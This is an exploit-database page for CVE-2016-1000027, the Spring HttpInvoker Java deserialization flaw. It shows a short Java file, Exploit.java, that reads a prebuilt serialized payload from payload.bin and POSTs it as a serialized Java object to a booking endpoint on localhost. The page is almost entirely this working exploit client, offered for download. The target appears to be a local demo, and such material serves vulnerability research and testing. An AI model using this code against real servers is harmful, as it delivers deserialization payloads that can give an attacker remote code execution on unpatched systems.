Exploit databaseDownload repository ZIP
GH-b009aa204fc81a73f487f8f3fed18a96
acis-chindanai/vahom
Sources for CVE-2016-1000027
3 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
acis-chindanai/vahomRevision 03cb99b94f77
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
client/src/main/java/com/gypsyengineer/client/Exploit.java
Java · 1,034 bytespackage com.gypsyengineer.client;
import java.io.BufferedOutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Exploit {
public static void main(String... args) throws Exception {
byte[] payload = Files.readAllBytes(Paths.get("payload.bin"));
HttpURLConnection connection = (HttpURLConnection) new URL("http://localhost:8080/anotherBooking").openConnection();
connection.setDoOutput(true);
connection.setRequestMethod("POST");
connection.setRequestProperty("Content-Type", "application/x-java-serialized-object");
connection.setRequestProperty("Content-Length", Integer.toString(payload.length));
connection.setRequestProperty("Accept-Encoding", "gzip");
try (BufferedOutputStream bos = new BufferedOutputStream(connection.getOutputStream())) {
bos.write(payload);
bos.flush();
}
System.out.println(connection.getResponseCode());
}
}